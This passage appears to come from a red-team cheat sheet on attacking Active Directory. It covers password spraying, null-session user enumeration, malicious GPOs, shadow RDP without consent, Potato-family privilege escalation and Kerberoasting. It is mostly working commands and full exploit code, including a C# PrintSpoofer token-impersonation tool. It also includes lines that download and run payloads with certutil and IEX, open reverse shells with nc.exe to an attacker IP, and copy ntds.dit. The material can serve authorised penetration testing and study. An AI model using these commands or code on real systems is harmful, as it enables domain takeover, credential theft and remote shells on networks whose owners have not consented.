$ cme smb 10.10.13.37 -u snovvcrash -p 'Passw0rd!' --pass-pol


Cmd > net accounts /domain
PS > Get-ADDefaultDomainPasswordPolicy
PV3 > Get-DomainPolicyData | select -ExpandProperty SystemAccess

Example of net accounts output:

Name (EN) Name (RU) Value

Минимальный срок действия


Minimum password age (days): 1
пароля (дней):

Максимальный срок действия


Maximum password age (days): 90
пароля (дней):

Minimum password length: Минимальная длина пароля: 10

Length of password history Хранение неповторяющихся


24
maintained: паролей:

Блокировка после ошибок


Lockout threshold: 7
ввода пароля:

Длительность блокировки
Lockout duration (minutes): 30
(минут):

Lockout observation window Сброс счетчика блокировок


30
(minutes): через (минут):
Fine-Grained Password Policies

https://specopssoft.com/blog/create-fine-grained-password-policy-active-directory/

https://pwsh.ru/fine-grained-password-policy-как-создать-детальную-политику/

Map FGPPs to the users they're being applied to (need admin privileges by default):

ForEach ($fgpp in (Get-ADFineGrainedPasswordPolicy -Filter * -Properties Description)) {


$appliesTo = $fgpp | select -ExpandProperty AppliesTo
$objectClass = (Get-ADObject $appliesTo).ObjectClass

Write-Host -ForegroundColor Yellow "`r`nFine Grained Password Policy: $fgpp.name"


$fgpp | Out-Host

If ($objectClass -eq "group") {


Get-ADGroupMember $appliesTo -Recursive | ? {$_.objectClass -eq "user"} | select -Expa
}
ElseIf ($objectClass -eq "user") {
Get-ADUser $appliesTo | select -ExpandProperty samAccountName | Write-Host -Foreground
}
}

When it's critical not to cause a lockout on a user account with a FGPP applied, the safest
approach would be to exclude users with msDS-PSOApplied or msDS-ResultantPSO
properties populated (can be read by a regular user) from the spray list.
Check if exists:

PS > Get-ADUser snovvcrash -Properties * | select msDS-PSOApplied


PS > Get-ADUser snovvcrash -Properties msDS-ResultantPSO | select msDS-ResultantPSO

Get Domain Users

Non-Authenticated (Null Session)

https://wiki.porchetta.industries/smb-protocol/enumeration/enumerate-null-sessions

RID Cycling

If SMB null sessions are allowed on the DC, an adversary can get a list of all domain users via RID Cycling.
Another approach is to manually request all users via RPC ( $IPC share):

CrackMapExec:

$ cme smb DCs.txt -u '' -p ''


$ cme smb DCs.txt -u '' -p '' --users
$ cme smb DCs.txt -u '' -p '' --groups

rpcclient:

$ rpcclient -N -U '' 192.168.1.11


rpcclient $> enumdomusers
rpcclient $> enumdomgroups

net:

$ net rpc group members 'Domain Users' -W 'MEGACORP' -I '192.168.1.11' -U '%'

smbclient (check):

$ smbclient -N -U '' -L 192.168.1.11

enum4linux / enum4linux-ng:

$ enum4linux -v -a 192.168.1.11 | tee ~/ws/log/enum4linux.out

nullinux:

$ nullinux.py 192.168.1.11

Authenticated

Query LDAP for all domain user accounts via GetADUsers.py:

$ GetADUsers.py MEGACORP/snovvcrash:'Passw0rd!' -all -dc-ip 192.168.1.11 | tee ~/ws/logs/GetAD

Query LDAP for all domain user accounts via windapsearch:

$ python3 windapsearch.py --dc-ip 192.168.1.11 -d megacorp.local -u 'MEGACORP\snovvcrash' -p


$ cat ~/ws/logs/windapsearch.out | grep userPrincipalName | grep -v -e '{' -e '}' -e HealthMai
Query LDAP for all active domain user accounts via go-windapsearch:

$ windapsearch --dc 192.168.1.11 -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m custom --fi


$ cat ~/ws/logs/windapsearch.out | grep -i samaccountname | grep -v -e '{' -e '}' -e HealthMai

MSF

msf > use auxiliary/scanner/smb/smb_login


msf > set RHOSTS <DC_IP>
msf > set SMBDomain megacorp.local
msf > set SMBPass Passw0rd!
msf > set USER_FILE /home/snovvcrash/ws/enum/all-users.txt
msf > set VERBOSE False
msf > run

kerbrute

https://github.com/ropnop/kerbrute
https://github.com/urbanadventurer/username-anarchy
https://gist.github.com/superkojiman/11076951

Generate a wordlist of common usernames in an appropriate format and validate it against KDC (doesn't
cause accounts lock out):

$ kerbrute userenum -d megacorp.local -o ~/ws/logs/kerbrute-userenum.log ~/ws/enum/names.txt


$ cat ~/ws/logs/kerbrute-userenum.log | grep VALID | awk '{print $7}' | awk -F@ '{print $1}' >

Perform password spraying for discovered accounts:

$ kerbrute -v --delay 100 passwordspray -d megacorp.local -o ~/ws/logs/kerbrute-passwordspray-


$ cat ~/ws/logs/kerbrute-passwordspray-*.log | grep VALID | awk '{print $7}' >> ~/ws/loot/cred

pyKerbrute

https://github.com/3gstudent/pyKerbrute
$ python2 ADPwdSpray py 192 168 1 11 megacorp local users txt ntlmhash fc525c9683e8fe067095ba2

smartbrute

https://github.com/ShutdownRepo/smartbrute

Spray single hash against a list of users:

$ smartbrute -v brute --delay 100 --no-enumeration -bU users.txt -bh <HASH_TO_SPRAY> kerberos

Get domain password policy and active users:

$ smartbrute -v smart {--policy|--users} ntlm -d megacorp.local -u snovvcrash -p 'Passw0rd!' -

Launch smart password spray with a hash:

$ smartbrute -v smart --delay 100 -bh <HASH_TO_SPRAY> ntlm -d megacorp.local -u snovvcrash -p

DomainPasswordSpray

https://github.com/dafthack/DomainPasswordSpray

PS > Invoke-DomainPasswordSpray -UserList .\all-users.txt -Domain megacorp.local -Password 'Pa

Post Exploitation
Post Exploitation in Active Directory

GPOs
Identify the OU containing the VICTIM-PC object:

PS > Add-WindowsFeature -Name "RSAT-AD-PowerShell"


PS > Import-Module ActiveDirectory
PS > Get-ADComputer -Identity VICTIM-PC | select DistinguishedName

Create a GPO using GPMC:


1. Run > gpmc.msc .

2. Create a new GPO in the OU in which VICTIM-PC resides.

3. Remove Authenticated Users from Security Filtering and add VICTIM-PC there.

4. Link it to the OU and edit it.

Usually, it takes between 90 and 120 minutes for a new GPO to be applied. Force it with:

Cmd > gpudate.exe /force

Enable RDP

<POLICY_NAME>
Computer Configuration
Policies
Administrative Templates
Windows Components
Remote Desktop Services
Remote Desktop Session Host
Connections
Allow users to connect remotely using Remote Desktop Services
Enabled, OK

Allow RDP Connections

<POLICY_NAME>
Computer Configuration
Policies
Windows Settings
Security Settings
Windows Defender Firewall with Advanced Security
Inbound Rules
(right-click) New Rule
Predefined (Remote Desktop)
Allow the connection, Finish

Edit Local Administrators Membership

<POLICY_NAME>
Computer Configuration
Preferences
Control Panel Settings
Local Users and Groups
(right-click) New > Local Group
Group name (...)
Members (Add), OK
Apply, OK

Enable Shadow RDP

<POLICY_NAME>
Computer Configuration
Policies
Administrative Templates
Windows Components
Remote Desktop Services
Remote Desktop Session Host
Connections
Set rules for remote control of Terminal Services user sessions
Enabled + Options (Full Control without user's permission), OK

Immediate Scheduled Task

<POLICY_NAME>

Computer Configuration
Policies
Preferences
Control Panel Settings
Scheduled Tasks
(right-click) New > Immediate Task (At least Windows 7)

Reach a Locked-down Domain Computer

How to Hack Like a Pornstar / Best hacking books for aspiring hackers - Real life hacking scenarios

If you find yourself in a situation when you're already a domain admin and you need to access a locked-
down domain computer (no RDP/WinRM, no SMB shares, no owned local admins, etc.), creating an evil
GPO may help.

Create a GPO using PowerShell (will trigger a command when the victim user logs in):

PS > Add-WindowsFeature -Name "GPMC"


PS > Import-Module GroupPolicy
PS > New-GPO -Name EvilPolicy -Domain megacorp.local -Server DC01.megacorp.local
PS > Set-GPPermission -Name EvilPolicy -Replace -PermissionLevel GpoApply -TargetName "victim
PS > Set-GPPermission -Name EvilPolicy -Replace -PermissionLevel GpoApply -TargetName "VICTIM-
PS > Set-GPPermission -Name EvilPolicy -PermissionLevel None -TargetName "Authenticated Users"
PS > New-GPLink -Name EvilPolicy -Domain megacorp.local -Target "<TARGET_OU>" -Order 1 -Enforc
PS > Set-GPRegistryValue -Name EvilPolicy -Key "HKEY_CURRENT_USER\Software\Microsoft\Windows\C

Shadow RDP

https://swarm.ptsecurity.com/remote-desktop-services-shadowing/

https://darkbyte.net/autordpwn-la-guia-definitiva/

https://github.com/JoelGMSec/AutoRDPwn

Enable Shadow RDP via group policies and connect to an active session on the target machine:

Cmd > qwinsta.exe /server:192.168.1.11


Cmd > mstsc.exe /v:192.168.1.11 /shadow:<ID> /noConsentPrompt

Run on Domain Computers

How to Hack Like a Pornstar / Best hacking books for aspiring hackers - Real life hacking scenarios

An example PowerShell script to execute commands as a local admin on all domain computers pulling
LAPS passwords automatically:

ADComputersCmd.ps1
# Save with Encoding "UTF-8 with BOM"

[System.Console]::OutputEncoding = [System.Text.Encoding]::UTF8
$ErrorActionPreference = "Stop"

$command = '[System.Console]::OutputEncoding = [System.Text.Encoding]::UTF8; '


$command += 'whoami > C:\Windows\Temp\whoami.txt 2>&1'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)

Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd | ? {$_.name -ne $(hostname)} | select name


$comp = $_."name"
$pass = $_."ms-Mcs-AdmPwd"

if (Test-Connection -BufferSize 32 -Count 1 -ComputerName $comp -Quiet) {


try {
$cred = New-Object System.Management.Automation.PSCredential("$comp\ad
$proc = Invoke-WmiMethod Win32_Process -Name Create -ArgumentList ("po

do {
Write-Host -ForegroundColor Green "[*] Waiting for script to f
Start-Sleep -Seconds 2
} until ((Get-WmiObject -Class Win32_Process -Filter "ProcessId=$proc

net use "\\$comp" /user:administrator $pass 2>&1 | Out-Null


Get-Content "\\$comp\C$\Windows\Temp\whoami.txt"
Remove-Item "\\$comp\C$\Windows\Temp\whoami.txt" -Force
net use "\\$comp" /delete 2>&1 | Out-Null
}
catch {
Write-Host -ForegroundColor Red "[-] Connection failure: $comp"
}
}
else {
Write-Host -ForegroundColor Yellow "[!] Connection timed out: $comp"
}
}

PrivExchange
CVE-2019-0686, CVE-2019-0724

https://github.com/dirkjanm/PrivExchange
https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/
Check:

$ sudo ./Responder.py -I eth0 -Av


$ python privexchange.py -d MEGACORP -u snovvcrash -p 'Passw0rd!' -ah 10.10.13.37 --attacker-p

Exploit:

$ sudo ntlmrelayx.py -t ldap://DC01.megacorp.local --escalate-user snovvcrash


$ python privexchange.py -d MEGACORP -u snovvcrash -p 'Passw0rd!' -ah 10.10.13.37 exch01.megac

Privileges Abuse

https://foxglovesecurity.com/2017/08/25/abusing-token-privileges-for-windows-local-privilege-
escalation/
https://github.com/hatRiot/token-priv

https://github.com/gtworek/Priv2Admin

SeBackupPrivilege

Search for SeBackupPrivilege through GPO policies:

$ gci -Path \\$ENV:USERDNSDOMAIN\sysvol\$ENV:USERDNSDOMAIN\Policies\ -Recurse -File -ErrorAct

SeBackupPrivilege

https://github.com/giuliano108/SeBackupPrivilege
https://0xdf.gitlab.io/2020/10/03/htb-blackfield.html#priv-svc_backup--administrator

wget https://github.com/giuliano108/SeBackupPrivilege/raw/master/SeBackupPrivilegeCmdLets/bin/
wget https://github.com/giuliano108/SeBackupPrivilege/raw/master/SeBackupPrivilegeCmdLets/bin/

upload SeBackupPrivilegeCmdLets.dll
upload SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
Import-Module .\SeBackupPrivilegeUtils.dll
Copy-FileSeBackupPrivilege W:\Windows\NTDS\ntds.dit C:\Users\snovvcrash\Documents\ntds.dit -Ov
download ntds.dit
robocopy

https://0xdf.gitlab.io/2020/09/19/htb-multimaster.html#read-as-system

PS > cmd /c where robocopy


PS > robocopy /B W:\Windows\NTDS\ntds.dit C:\Users\snovvcrash\Documents\ntds.dit

SeImpersonatePrivilege

Restore Privileges

https://itm4n.github.io/localservice-privileges/

Potatoes

https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html
https://hideandsec.sh/books/windows-sNL/page/in-the-potato-family-i-want-them-all

RottenPotato

https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-
system/

https://github.com/foxglovesec/RottenPotato

$ curl -L https://github.com/foxglovesec/RottenPotato/raw/master/rottenpotato.exe > r.exe


meterpreter > upload r.exe
meterpreter > load incognito
meterpreter > execute -cH -f r.exe
meterpreter > list_tokens -u
meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM"
LonelyPotato
https://decoder.cloud/2017/12/23/the-lonely-potato/
https://github.com/decoder-it/lonelypotato

JuicyPotato

https://ohpe.it/juicy-potato/

https://ohpe.it/juicy-potato/CLSID/

https://github.com/ohpe/juicy-potato/releases

https://github.com/ivanitlearning/Juicy-Potato-x86/releases

$ curl -L https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe > j.exe


...Using pwsh reverse shell...
$ curl -L https://github.com/samratashok/nishang/raw/master/Shells/Invoke-PowerShellTcpOneLine
Cmd > certutil -urlcache -split -f http://10.10.13.37/j.exe C:\Windows\System32\spool\drivers\
Cmd > echo cmd /c powershell -exec bypass -nop -c "IEX(New-Object Net.WebClient).DownloadStrin
Cmd > .\j.exe -t * -c {8BC3F05E-D86B-11D0-A075-00C04FB68820} -l 1337 -p C:\Windows\System32\sp

...Using nc.exe...
Cmd > .\j.exe -t * -c {8BC3F05E-D86B-11D0-A075-00C04FB68820} -l 1337 -p C:\Windows\System32\sp

RoguePotato

https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/
https://github.com/antonioCoco/RoguePotato/releases

Redirect traffic that comes to 135 port on Attacker ( 10.10.13.37 ) with socat back to the Victim
( 192.168.1.11 ) on port 9999 (RogueOxidResolver is running locally on port 9999 on Victim):

$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:192.168.1.11:9999

Trigger the potato to run a binary with high privileges (don't forget to start a listener if sending a reverse
shell):

Cmd > .\RoguePotato.exe -r 10.10.13.37 -e "C:\windows\Temp\nc.exe 10.10.13.37 443 -e cmd" -l 9


RemotePotato0
https://www.sentinelone.com/labs/relaying-potatoes-another-unexpected-privilege-escalation-
vulnerability-in-windows-rpc-protocol/

https://github.com/antonioCoco/RemotePotato0/releases

Get session ID of the user to pwn:

Cmd > query user


Cmd > quser

Hashes collector (modes 2, 3):

$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:192.168.1.11:9998


Cmd > .\RemotePotato0.exe -m 2 -x 10.10.13.37 -p 9998 -s 5

Cross-protocol relay (modes 0, 1):

$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:192.168.1.11:9998


$ sudo ntlmrelayx.py -t ldap://192.168.1.11 --no-smb-server --no-wcf-server --no-raw-server --
Cmd > .\RemotePotato0.exe -m 0 -r 10.10.13.37 -x 10.10.13.37 -p 9998 -s 5

Combining with ESC8:

$ sudo ntlmrelayx.py -t http://CA01.megacorp.local/certsrv/certfnsh.asp --no-smb-server --no-w


Cmd > .\RemotePotato0.exe -m 0 -r 10.10.13.37 -x 10.10.13.37 -p 9998 -s 5 -c "{f8842f8e-dafe-4
Cmd > .\Rubeus.exe asktgt /user:snovvcrash /domain:megacorp.local /dc:DC1.megacorp.local /cert

GenericPotato

https://micahvandeusen.com/the-power-of-seimpersonation/
https://github.com/micahvandeusen/GenericPotato

EfsPotato

https://github.com/zcgonvh/EfsPotato
Tools
SweetPotato

https://github.com/CCob/SweetPotato

Cmd > .\SweetPotato.exe -p C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -a "-w hi

MultiPotato

https://github.com/S3cur3Th1sSh1t/MultiPotato

PrintSpoofer

https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/
https://github.com/itm4n/PrintSpoofer
https://github.com/S3cur3Th1sSh1t/PowerSharpPack/blob/master/PowerSharpBinaries/Invoke-
BadPotato.ps1

Check if Print Spooler service is running:

PS > Get-Service Spooler

Status Name DisplayName


------ ---- -----------
Running Spooler Print Spooler

Exploit:

PS > . .\Invoke-BadPotato.ps1; Invoke-BadPotato -C "C:\Users\snovvcrash\music\pwn.exe"

C# Implementation

https://github.com/itm4n/PrintSpoofer/blob/master/PrintSpoofer/PrintSpoofer.cpp

https://github.com/S3cur3Th1sSh1t/NamedPipePTH/blob/main/Resources/PipeServerImpersonate/Pipe
Server.cpp

https://github.com/S3cur3Th1sSh1t/SharpNamedPipePTH/blob/16f8f7a90a543a0f5a3f70d3d02e8f1202
73e6ed/SharpNamedPipePTH/PipeServerImpersonate.cs
https://github.com/chvancooten/OSEP-Code-Snippets/tree/main/PrintSpoofer.NET

Cmd > \SharpPrintSpoofer.exe \\.\pipe\test\pipe\spoolss cmd -i


Cmd > .\SpoolSample.exe srv01 srv01/pipe/test
Or
Cmd > .\MS-RPRN.exe \\srv01 \\srv01/pipe/test

[*] Named pipe \\.\pipe\test\pipe\spoolss listening...


[+] A client connected!
[+] Token impersonated!
| SID: S-1-5-18
\_ Name: NT AUTHORITY\SYSTEM
[*] Executing command: cmd

SharpPrintSpoofer.cs
using System;
using System.Text;
using System.Security.Principal;
using System.Runtime.InteropServices;

namespace SharpPrintSpoofer
{
class Program
{
public struct SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public int bInheritHandle;
}

[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;

public IntPtr hStdOutput;


public IntPtr hStdError;
}

public struct TOKEN_USER


{
public SID_AND_ATTRIBUTES User;
}

[StructLayout(LayoutKind.Sequential)]
public struct SID_AND_ATTRIBUTES
{
public IntPtr Sid;
public int Attributes;
}

[DllImport("advapi32.dll")]
static extern bool ConvertStringSecurityDescriptorToSecurityDescriptor(string StringSe

[DllImport("kernel32.dll", SetLastError = true)]


static extern IntPtr CreateNamedPipe(string lpName, uint dwOpenMode, uint dwPipeMode,

[DllImport("kernel32.dll")]
static extern bool ConnectNamedPipe(IntPtr hNamedPipe, IntPtr lpOverlapped);

[DllImport("advapi32.dll")]
static extern bool ImpersonateNamedPipeClient(IntPtr hNamedPipe);
[DllImport("kernel32.dll")]
static extern IntPtr GetCurrentThread();

[DllImport("advapi32.dll", SetLastError = true)]


static extern bool OpenThreadToken(IntPtr ThreadHandle, uint DesiredAccess, bool OpenA

[DllImport("advapi32.dll", SetLastError = true)]


static extern bool GetTokenInformation(IntPtr TokenHandle, uint tokenInformationClass

[DllImport("advapi32", CharSet = CharSet.Auto, SetLastError = true)]


static extern bool ConvertSidToStringSid(IntPtr Sid, out IntPtr StringSid);

[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]


static extern bool DuplicateTokenEx(IntPtr hExistingToken, uint dwDesiredAccess, IntPt

[DllImport("userenv.dll", SetLastError = true)]


static extern bool CreateEnvironmentBlock(out IntPtr lpEnvironment, IntPtr hToken, boo

[DllImport("advapi32.dll", SetLastError = true)]


static extern bool RevertToSelf();

[DllImport("kernel32.dll")]
static extern uint GetSystemDirectory([Out] StringBuilder lpBuffer, uint uSize);

[DllImport("advapi32", SetLastError = true, CharSet = CharSet.Unicode)]

static extern bool CreateProcessWithTokenW(IntPtr hToken, UInt32 dwLogonFlags, string

static void Main(string[] args)


{
if (args.Length < 2)
{
Console.WriteLine("Usage: SharpPrintSpoofer.exe <PIPENAME>\n\nExamples:\n\nSha
return;
}

string pipeName = args[0];


string execCommand = args[1];
bool execInteractively = args.Length == 3 && args[2] == "-i" ? true : false;

// Prepare a new permission set for the pipe (Allowed GenercAll for Everyone)
SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();
ConvertStringSecurityDescriptorToSecurityDescriptor(
"D:(A;OICI;GA;;;WD)",
1,
out sa.lpSecurityDescriptor,
IntPtr.Zero);

// Create the named pipe


IntPtr hPipe = CreateNamedPipe(
pipeName,
3, // PIPE_ACCESS_DUPLEX
0, // PIPE_TYPE_BYTE | PIPE_WAIT
10,
0x1000,
0x1000,
0,
ref sa);

// Start the named pipe server to listen for connections


Console.WriteLine($"[*] Named pipe {pipeName} listening...");
ConnectNamedPipe(hPipe, IntPtr.Zero);

// When a client connects, impersonate his token


Console.WriteLine("[+] A client connected!");
ImpersonateNamedPipeClient(hPipe);

// Open a handle for the impersonated token


IntPtr hToken;
OpenThreadToken(
GetCurrentThread(),
0xF01FF, // TOKEN_ALL_ACCESS
false,
out hToken);

// BEGIN DEBUG (print impersonated token SID)


int tokenInfLength = 0;
GetTokenInformation(

hToken,
1, // TokenUser
IntPtr.Zero,
tokenInfLength,
out tokenInfLength);

IntPtr tokenInformation = Marshal.AllocHGlobal(tokenInfLength);


GetTokenInformation(
hToken,
1, // TokenUser
tokenInformation,
tokenInfLength,
out tokenInfLength);

TOKEN_USER TokenUser = (TOKEN_USER)Marshal.PtrToStructure(tokenInformation, typeof


IntPtr pStringSid = IntPtr.Zero;
ConvertSidToStringSid(TokenUser.User.Sid, out pStringSid);
string stringSid = Marshal.PtrToStringAuto(pStringSid);
Console.WriteLine($"[+] Token impersonated!\n | SID: {stringSid}");
Marshal.FreeHGlobal(tokenInformation);
// END DEBUG

// Duplicate impersonated token (i.e., convert the impersonated token to a primary


IntPtr hSystemToken = IntPtr.Zero;
DuplicateTokenEx(
hToken,
0xF01FF, // TOKEN_ALL_ACCESS
IntPtr.Zero,
2, // SecurityImpersonation
1, // TokenPrimary
out hSystemToken);

String name = WindowsIdentity.GetCurrent().Name;


Console.WriteLine($" \\_ Name: {name}");

// Revert to self to successfully CreateProcessWithTokenW


RevertToSelf();

// if not execInteractively
uint dwLogonFlags = 0;
uint dwCreationFlags = 0x8000000; // CREATE_NO_WINDOW
IntPtr lpEnvironment = IntPtr.Zero;
STARTUPINFO si = new STARTUPINFO();
si.cb = Marshal.SizeOf(si);
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();

if (execInteractively)
{
dwLogonFlags = 1; // LOGON_WITH_PROFILE
dwCreationFlags = 0x400; // CREATE_UNICODE_ENVIRONMENT
CreateEnvironmentBlock(out lpEnvironment, hToken, false);
si.lpDesktop = @"WinSta0\Default";
}

// Get the system directory


//StringBuilder sbSystemDir = new StringBuilder(256);
//GetSystemDirectory(sbSystemDir, 256);

// Create a new process based on execCommand (binary and args) with the impersonat
Console.WriteLine($"[*] Executing command: {execCommand}");
CreateProcessWithTokenW(
hSystemToken,
dwLogonFlags,
null,
execCommand,
dwCreationFlags,
lpEnvironment,
null, // sbSystemDir.ToString(),
ref si,
out pi);
}
}
}

RID Cycling
Relative Identifier
https://www.trustedsec.com/blog/new-tool-release-rpc_enum-rid-cycling-attack/

Perform RID cycling attack against a DC with SMB null sessions allowed with lookupsid.py:

$ lookupsid.py MEGACORP/snovvcrash:'Passw0rd!'@127.0.0.1 20000 [-domain-sids] | tee ~/ws/logs/


$ cat ~/ws/logs/lookupsid.out | grep SidTypeUser | grep -v -e '\$' -e '{' -e '}' -e HealthMail

With CrackMapExec:

$ cme smb 192.168.1.11 -u '' -p '' --users

Roasting

ASREPRoasting
Show domain users with DONT_REQ_PREAUTH flag set:

PowerView3 > Get-DomainUser -UACFilter DONT_REQ_PREAUTH

Normal

GetNPUsers.py

https://vbscrub.com/2020/02/22/impackets-getnpusers-script-explained/

$ GetNPUsers.py megacorp.local/ -dc-ip 127.0.0.1 -no-pass -usersfile ~/ws/enum/names.txt -requ


$ cat GetNPUsers.out | grep -v 'Client not found in Kerberos database'
$ hashcat -m 18200 -O -a 0 -w 4 --session=asrep -o asrep.out asrep.in seclists/Passwords/darkc

ASREPRoast.ps1

https://github.com/HarmJ0y/ASREPRoast

PS > Get-ASREPHash -Domain megacorp.local -UserName snovvcrash

Rubeus

beacon> execute-assembly ADSearch.exe --search "(&(sAMAccountType=805306368)(userAccountContro


beacon> execute-assembly Rubeus.exe asreproast /nowrap [/user:svc mssql]

Targeted

https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet#asreproast

"Given GenericWrite/GenericAll DACL rights over a target, we can modify most of the user's attributes.
We can change a victim's userAccountControl to not require Kerberos preauthentication, grab the user's
crackable AS-REP, and then change the setting back." (@harmj0y, ref)

PowerView3 > Get-DomainUser snovvcrash | ConvertFrom-UACValue


PowerView3 > Set-DomainObject -Identity snovvcrash -XOR @{useraccountcontrol=4194304} -Verbose
PowerView3 > Get-DomainUser snovvcrash | ConvertFrom-UACValue
ASREPRoast > Get-ASREPHash -Domain megacorp.local -UserName snovvcrash
PowerView3 > Set-DomainObject -Identity snovvcrash -XOR @{useraccountcontrol=4194304} -Verbose
PowerView3 > Get-DomainUser snovvcrash | ConvertFrom-UACValue

Kerberoasting

http://www.harmj0y.net/blog/redteaming/rubeus-now-with-more-kekeo/
https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/

https://github.com/GhostPack/Rubeus#kerberoast
https://docs.microsoft.com/ru-ru/archive/blogs/openspecification/windows-configurations-for-kerberos-
supported-encryption-type

https://swarm.ptsecurity.com/kerberoasting-without-spns/
https://habr.com/ru/post/650889/
https://m365internals.com/2021/11/08/kerberoast-with-opsec/

https://github.com/Luct0r/KerberOPSEC
https://redcanary.com/blog/marshmallows-and-kerberoasting/
Check msDS-SupportedEncryptionTypes attribute (if RC4 is enabled):

PowerView3 > Get-DomainUser -Identity snovvcrash -Properties samaccountname,serviceprincipalna

Normal

GetUserSPNs.py

$ GetUserSPNs.py megacorp.local/snovvcrash:'Passw0rd!' -dc-ip 127.0.0.1 -request -outputfile t


$ hashcat -m 13100 -O -a 0 -w 4 --session=tgsrep -o tgsrep.out tgsrep.in seclists/Passwords/da

In case LDAP(S) ports are blocked, kerberoasting can be performed via the Global Catalog port
(3268/TCP). For that purposes change ldap:// scheme to gc:// .

Check if there're any brutable kerberoastable users with a path to high value targets having got cracked
NTDS (useful when writing a report):

$ cat ~/ws/enum/tgsrep.in | grep -Pho 'krb5tgs\$23\$.*?\$' | cut -d'*' -f2 | cut -d'$' -f1 > t

$ for acc in `cat t`; do grep -ai $acc ~/ws/loot/ntds.cracked | cut -d: -f1 >> t2; done && rm

$ vi t2
...convert domain prefix to domain suffix (megacorp.local\svcsql -> [email protected])...

$ python3 max.py -u neo4j -p 'WeaponizeK4li!' mark-owned -f t2 --add-note "kerberoasted" && rm

$ python3 max.py -u neo4j -p 'WeaponizeK4li!' query -q 'MATCH p=shortestPath((n {owned:true})-

PowerView

https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

PowerView3 > Invoke-Kerberoast -OutputFormat Hashcat | fl

Rubeus

https://github.com/GhostPack/Rubeus
beacon>
beacon> execute-assembly
execute-assembly ADSearch.exe --search "(&(sAMAccountType=805306368)(servicePrincipalN
Rubeus.exe kerberoast /format:hashcat /nowrap [/usetgtdeleg] [/user:s

Targeted

